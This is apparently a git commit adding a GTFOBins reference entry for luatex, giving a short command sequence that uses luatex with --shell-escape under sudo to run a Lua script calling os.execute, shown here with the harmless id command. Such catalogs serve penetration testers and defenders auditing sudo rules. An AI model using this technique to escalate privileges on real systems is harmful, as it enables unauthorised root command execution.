Create luatex.md

Add luatex.
This commit is contained in:
SynackCerv 2021-04-22 22:15:59 +02:00 committed by GitHub
parent ff22bbda93
commit fd30994f8a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

7
_gtfobins/luatex.md Normal file
View File

@ -0,0 +1,7 @@
description: `luatex` allows to call external [`lua`](/gtfobins/lua/) scripts.
functions:
sudo:
- code: |
echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex
echo 'os.execute("/usr/bin/id")' > runfunc.lua
luatex --interaction=nonstopmode --shell-escape file.tex